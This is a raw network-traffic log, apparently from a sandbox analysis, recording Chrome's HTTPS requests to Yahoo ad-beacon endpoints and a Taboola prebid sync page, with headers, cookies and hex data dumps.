A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; __gads=ID=35e7a5ac39f289db:T=1714257720:RT=1714257720:S=ALNI_MYyaF9PHCuVA3QLJjDb1OE_iseOOw; __gpi=UID=00000df8bc561cd4:T=1714257720:RT=1714257720:S=ALNI_Ma-83kRPZLxKuu5z7bYwlRHSPV5uA; __eoi=ID=78312da8ddefa989:T=1714257720:RT=1714257720:S=AA-AfjaQFq_18obr_9f48a777tAf
2024-04-27 22:42:03 UTC	1285	IN	HTTP/1.1 200 OK date: Sat, 27 Apr 2024 22:42:03 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" set-cookie: __gads=COOKIECLEANER; domain=noa.yahoo.com; expires=Sat, 22-Nov-1980 20:00:00 GMT; path=/; set-cookie: __gads=COOKIECLEANER; domain=yahoo.com; expires=Sat, 22-Nov-1980 20:00:00 GMT; path=/; set-cookie: __gads=COOKIECLEANER; domain=com; expires=Sat, 22-Nov-1980 20:00:00 GMT; path=/; cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: __gpi=DELETE; Expires=Sat, 27 Apr 2024 22:32:03 GMT; Max-Age=0; Domain=noa.yahoo.com; Path=; Secure; HttpOnly Set-Cookie: __gpi=DELETE; Expires=Sat, 27 Apr 2024 22:32:03 GMT; Max-Age=0; Domain=yahoo.com; Path=; Secure; HttpOnly Set-Cookie: __eoi=DELETE; Expires=Sat, 27 Apr 2024 22:32:03 GMT; Max-Age=0; Domain=noa.yahoo.com; Path=; Secure; HttpOnly Set-Cookie: __eoi=DELETE; Expires=Sat, 27 Apr 2024 22:32:03 GMT; Max-Age=0; Domain=yahoo.com; Path=; Secure; HttpOnly
2024-04-27 22:42:03 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
266	192.168.2.4	50047	66.218.87.15	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:03 UTC	1847	OUT	POST /p?s=2023538075&t=1714257721443&_I=&_AO=0&_NOL=0&etrg=backgroundPost&outcm=gamDebug&src=unknown&site=fp&partner=none&lang=en-US&region=US&device=desktop&colo=bf1&bucket=drop_heimdall_homepage_control_bucket%2CMimicControlv2-copy%2Chomepage_taboola_benji_1_control%2Cseamless&rid=1sbetl5j2qvpa&limitedAds=false&NPA=false&pd=unknown&pt=home&id=sda-LREC-iframe&isRefresh=false&loc=top_right&renderCount=1&status=succeeded HTTP/1.1 Host: noa.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; __gads=ID=35e7a5ac39f289db:T=1714257720:RT=1714257720:S=ALNI_MYyaF9PHCuVA3QLJjDb1OE_iseOOw; __gpi=UID=00000df8bc561cd4:T=1714257720:RT=1714257720:S=ALNI_Ma-83kRPZLxKuu5z7bYwlRHSPV5uA; __eoi=ID=78312da8ddefa989:T=1714257720:RT=1714257720:S=AA-AfjaQFq_18obr_9f48a777tAf
2024-04-27 22:42:03 UTC	1285	IN	HTTP/1.1 200 OK date: Sat, 27 Apr 2024 22:42:03 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" set-cookie: __gads=COOKIECLEANER; domain=noa.yahoo.com; expires=Sat, 22-Nov-1980 20:00:00 GMT; path=/; set-cookie: __gads=COOKIECLEANER; domain=yahoo.com; expires=Sat, 22-Nov-1980 20:00:00 GMT; path=/; set-cookie: __gads=COOKIECLEANER; domain=com; expires=Sat, 22-Nov-1980 20:00:00 GMT; path=/; cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 0 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: __gpi=DELETE; Expires=Sat, 27 Apr 2024 22:32:03 GMT; Max-Age=0; Domain=noa.yahoo.com; Path=; Secure; HttpOnly Set-Cookie: __gpi=DELETE; Expires=Sat, 27 Apr 2024 22:32:03 GMT; Max-Age=0; Domain=yahoo.com; Path=; Secure; HttpOnly Set-Cookie: __eoi=DELETE; Expires=Sat, 27 Apr 2024 22:32:03 GMT; Max-Age=0; Domain=noa.yahoo.com; Path=; Secure; HttpOnly Set-Cookie: __eoi=DELETE; Expires=Sat, 27 Apr 2024 22:32:03 GMT; Max-Age=0; Domain=yahoo.com; Path=; Secure; HttpOnly
2024-04-27 22:42:03 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
267	192.168.2.4	50050	66.218.87.15	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:03 UTC	1472	OUT	POST /p?s=2023538075&t=1714257722025&_I=&_AO=0&_NOL=0&etrg=backgroundPost&outcm=gamMetric&src=unknown&site=fp&partner=none&lang=en-US&region=US&device=desktop&colo=bf1&ads_failure_total=0&ads_fetch_total=1&ads_refresh_total=0&ads_slot_right_failure=0&ads_slot_right_total=0&ads_slot_top_failure=0&ads_slot_top_total=1 HTTP/1.1 Host: noa.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
2024-04-27 22:42:03 UTC	503	IN	HTTP/1.1 200 OK date: Sat, 27 Apr 2024 22:42:03 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 0 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000
2024-04-27 22:42:03 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
268	192.168.2.4	50049	66.218.87.15	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:03 UTC	1579	OUT	POST /p?s=2023538075&t=1714257722028&_I=&_AO=0&_NOL=0&etrg=backgroundPost&outcm=gamDebug&src=unknown&site=fp&partner=none&lang=en-US&region=US&device=desktop&colo=bf1&bucket=drop_heimdall_homepage_control_bucket%2CMimicControlv2-copy%2Chomepage_taboola_benji_1_control%2Cseamless&rid=1sbetl5j2qvpa&limitedAds=false&NPA=false&pd=unknown&pt=home&id=sda-MAST-iframe&isRefresh=false&loc=top_center&renderCount=1&status=succeeded HTTP/1.1 Host: noa.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
2024-04-27 22:42:03 UTC	503	IN	HTTP/1.1 200 OK date: Sat, 27 Apr 2024 22:42:03 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000
2024-04-27 22:42:03 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
269	192.168.2.4	50051	66.218.87.15	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:03 UTC	1581	OUT	POST /p?s=2023538075&t=1714257722029&_I=&_AO=0&_NOL=0&etrg=backgroundPost&outcm=gamDebug&src=unknown&site=fp&partner=none&lang=en-US&region=US&device=desktop&colo=bf1&bucket=drop_heimdall_homepage_control_bucket%2CMimicControlv2-copy%2Chomepage_taboola_benji_1_control%2Cseamless&rid=1sbetl5j2qvpa&limitedAds=false&NPA=false&pd=unknown&pt=home&id=sda-LREC3-iframe&isRefresh=false&loc=mid_right_a&renderCount=1&status=succeeded HTTP/1.1 Host: noa.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
2024-04-27 22:42:03 UTC	503	IN	HTTP/1.1 200 OK date: Sat, 27 Apr 2024 22:42:03 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 0 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000
2024-04-27 22:42:03 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
270	192.168.2.4	50048	66.218.87.15	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:03 UTC	1581	OUT	POST /p?s=2023538075&t=1714257722043&_I=&_AO=0&_NOL=0&etrg=backgroundPost&outcm=gamDebug&src=unknown&site=fp&partner=none&lang=en-US&region=US&device=desktop&colo=bf1&bucket=drop_heimdall_homepage_control_bucket%2CMimicControlv2-copy%2Chomepage_taboola_benji_1_control%2Cseamless&rid=1sbetl5j2qvpa&limitedAds=false&NPA=false&pd=unknown&pt=home&id=sda-LREC4-iframe&isRefresh=false&loc=mid_right_b&renderCount=1&status=succeeded HTTP/1.1 Host: noa.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A3=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; A1S=d=AQABBCp_LWYCELfUYVcRibNp0N36MpJTaGMFEgEBAQHQLmY3Ztwv0iMA_eMAAA&S=AQAAAhY0ZsSOfV2Vw8bUevS_J-s; cmp=t=1714257709&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; axids=gam=y-YhU_4VlE2uKeNX7PHM8XonrbkezQHb0Z~A&dv360=eS1wZjlTZkxORTJ1RlFnUHQ3U1kxNlcuZkxvcHoyVTNzQX5B&ydsp=y-jbTZJGZE2uLrRZGRFNskE6ZV5Anw2j42~A&tbla=y-JBfSm7FE2uKAvLz8j1WHQk70S7DkHdso~A; tbla_id=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
2024-04-27 22:42:04 UTC	503	IN	HTTP/1.1 200 OK date: Sat, 27 Apr 2024 22:42:03 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 0 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000
2024-04-27 22:42:04 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
271	192.168.2.4	50059	151.101.65.44	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-27 22:42:04 UTC	886	OUT	GET /scripts/prebid_iframe_sync.html?gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=DBAA&gpp_sid=-1 HTTP/1.1 Host: cdn.taboola.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: t_gid=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2; t_pt_gid=5a70d3d2-b192-4103-be6f-b86fec483fbc-tuctd2704b2
2024-04-27 22:42:04 UTC	740	IN	HTTP/1.1 200 OK Connection: close Content-Length: 5311 x-amz-id-2: T/VQXcmFVRDeMKV+ax7y0qSD5xXKMAZAWz8wQz+WY93OzVqrDWyW3EThe9jy3bdpdxSQe2B5x4Q= x-amz-request-id: 591RQYSABMJHJ9C6 x-amz-replication-status: COMPLETED Last-Modified: Thu, 30 Nov 2023 18:35:31 GMT ETag: "ba0777792ce6c88cb6ac61d50f5ed420" x-amz-server-side-encryption: AES256 x-amz-version-id: 7Bl.XaNXVuUlHrm3kacHfal8wWJB1784 Content-Type: text/html Server: AmazonS3 Accept-Ranges: bytes Age: 0 Date: Sat, 27 Apr 2024 22:42:04 GMT Via: 1.1 varnish X-Served-By: cache-iad-kcgs7200082-IAD X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1714257725.822279,VS0,VE20 Cache-Control: private,max-age=14400 Vary: Accept-Encoding abp: 8 Access-Control-Allow-Origin: *
2024-04-27 22:42:04 UTC	1378	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 0a 20 20 20 20 20 20 20 20 20 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d Data Ascii: <!doctype html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0"> <meta http-equiv="X-UA-Compatible" content=
2024-04-27 22:42:04 UTC	1378	IN	Data Raw: 21 3d 20 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 20 26 26 20 61 72 72 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 20 7c 7c 20 61 72 72 5b 22 40 40 69 74 65 72 61 74 6f 72 22 5d 3b 20 69 66 20 28 6e 75 6c 6c 20 21 3d 20 5f 69 29 20 7b 20 76 61 72 20 5f 73 2c 20 5f 65 2c 20 5f 78 2c 20 5f 72 2c 20 5f 61 72 72 20 3d 20 5b 5d 2c 20 5f 6e 20 3d 20 21 30 2c 20 5f 64 20 3d 20 21 31 3b 20 74 72 79 20 7b 20 69 66 20 28 5f 78 20 3d 20 28 5f 69 20 3d 20 5f 69 2e 63 61 6c 6c 28 61 72 72 29 29 2e 6e 65 78 74 2c 20 30 20 3d 3d 3d 20 69 29 20 7b 20 69 66 20 28 4f 62 6a 65 63 74 28 5f 69 29 20 21 3d 3d 20 5f 69 29 20 72 65 74 75 72 6e 3b 20 5f 6e 20 3d 20 21 31 3b 20 7d 20 65 6c 73 65 20 66 6f 72 20 28 3b 20 21 28 5f 6e 20 3d 20 28 5f 73 20 3d 20 5f 78 2e 63 61 6c Data Ascii: != typeof Symbol && arr[Symbol.iterator] \|\| arr["@@iterator"]; if (null != _i) { var _s, _e, _x, _r, _arr = [], _n = !0, _d = !1; try { if (_x = (_i = _i.call(arr)).next, 0 === i) { if (Object(_i) !== _i) return; _n = !1; } else for (; !(_n = (_s = _x.cal
2024-04-27 22:42:04 UTC	1378	IN	Data Raw: 6c 53 74 6f 72 61 67 65 3b 0a 20 20 20 20 76 61 72 20 72 65 61 64 46 72 6f 6d 4c 73 20 3d 20 66 75 6e 63 74 69 6f 6e 20 72 65 61 64 46 72 6f 6d 4c 73 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 75 69 64 20 3d 20 6e 75 6c 6c 3b 0a 20 20 20 20 20 20 69 66 20 28 6c 73 29 20 7b 0a 20 20 20 20 20 20 20 20 74 72 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 75 69 64 20 3d 20 6c 73 2e 67 65 74 49 74 65 6d 28 54 41 42 4f 4f 4c 41 5f 47 4c 4f 42 41 4c 5f 55 53 45 52 5f 4b 45 59 29 3b 0a 20 20 20 20 20 20 20 20 7d 20 63 61 74 63 68 20 28 65 72 72 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 75 69 64 20 3d 20 6e 75 6c 6c 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 72 65 74 75 72 6e 20 75 69 64 3b 0a 20 20 20 20 7d 3b 0a 20 20 20 20 76 61 Data Ascii: lStorage; var readFromLs = function readFromLs() { var uid = null; if (ls) { try { uid = ls.getItem(TABOOLA_GLOBAL_USER_KEY); } catch (err) { uid = null; } } return uid; }; va
2024-04-27 22:42:04 UTC	1177	IN	Data Raw: 43 6f 6f 6b 69 65 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 76 61 72 20 75 69 64 46 72 6f 6d 54 52 43 20 3d 20 77 69 6e 64 6f 77 2e 54 52 43 20 3f 20 77 69 6e 64 6f 77 2e 54 52 43 2e 75 73 65 72 5f 69 64 20 3a 20 75 6e 64 65 66 69 6e 65 64 3b 0a 20 20 20 20 20 20 69 66 20 28 75 69 64 46 72 6f 6d 54 52 43 29 20 7b 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 75 69 64 46 72 6f 6d 54 52 43 3b 0a 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 72 65 74 75 72 6e 20 75 6e 64 65 66 69 6e 65 64 3b 0a 20 20 20 20 7d 3b 0a 20 20 20 20 76 61 72 20 6c 6f 61 64 49 66 73 53 63 72 69 70 74 20 3d 20 66 75 6e 63 74 69 6f 6e 20 6c 6f 61 64 49 66 73 53 63 72 69 70 74 28 29 20 7b 0a 20 20 20 20 20 20 76 61 72 20 69 66 73 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 Data Ascii: Cookie; } var uidFromTRC = window.TRC ? window.TRC.user_id : undefined; if (uidFromTRC) { return uidFromTRC; } return undefined; }; var loadIfsScript = function loadIfsScript() { var ifs = document.creat

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
272	192.168.2.4	50054	34.98.64.218	443	1508	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
